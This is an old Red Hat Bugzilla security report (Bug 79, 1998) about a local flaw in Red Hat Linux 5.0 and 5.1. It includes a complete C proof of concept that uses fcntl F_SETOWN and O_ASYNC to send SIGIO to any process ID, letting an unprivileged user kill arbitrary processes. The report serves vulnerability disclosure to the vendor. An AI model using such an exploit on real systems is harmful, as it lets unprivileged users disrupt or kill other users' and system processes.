Bug 79
| Summary: | Rootshell reported bug, shits.c | ||
|---|---|---|---|
| Product: | [Retired] Red Hat Linux | Reporter: | penguin |
| Component: | basesystem | Assignee: | David Lawrence <dkl> |
| Status: | CLOSED DUPLICATE | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | high | ||
| Version: | 5.0 | Keywords: | Security |
| Target Milestone: | --- | ||
| Target Release: | --- | ||
| Hardware: | i386 | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 1998-11-16 13:52:04 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
Allows anyone to kill any process - even if not root. Effects 5.0 and 5.1, have not tested on 5.2 --- #include <fcntl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { int s, p; if (argc != 2) { fputs("Please specify a pid to send signal to.\n", stderr); exit(0); } else { p = atoi(argv[1]); } fcntl(0,F_SETOWN,p); s = fcntl(0,F_GETFL,0); fcntl(0,F_SETFL,s|O_ASYNC); printf("Sending SIGIO - press enter.\n"); getchar(); fcntl(0,F_SETFL,s&~O_ASYNC); printf("SIGIO send attempted.\n"); return 0; }